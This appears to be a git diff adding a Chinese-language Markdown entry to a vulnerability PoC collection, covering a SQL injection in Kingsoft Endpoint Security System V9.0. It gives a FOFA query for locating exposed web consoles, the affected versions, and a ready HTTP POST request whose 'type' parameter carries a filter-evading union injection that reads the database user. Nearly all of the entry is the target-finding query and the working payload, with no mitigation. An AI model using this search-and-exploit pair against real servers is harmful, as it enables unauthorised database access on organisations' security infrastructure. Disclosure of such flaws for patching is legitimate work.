diff --git a/金山终端安全系统V9.0 SQL注入漏洞.md b/金山终端安全系统V9.0 SQL注入漏洞.md new file mode 100644 index 0000000..0cc8672 --- /dev/null +++ b/金山终端安全系统V9.0 SQL注入漏洞.md @@ -0,0 +1,19 @@ +## 金山终端安全系统V9.0 SQL注入漏洞 + +## fofa查询语法 +``` +app="金山终端安全系统V9.0Web控制台" +``` + +## 影响版本 +金山终端安全系统 V9.0 < V9.SP1.E1008 + +## POC +``` +POST /inter/update_software_info_v2.php HTTP/1.1 +Content-Type: application/x-www-form-urlencoded +Host: ip:port +Content-Length: 81 + +type=--1E0union/**/se#lect-1E0,2,1,user(),5,6,7,8--&key=123&pageCount=1&curPage=1 +```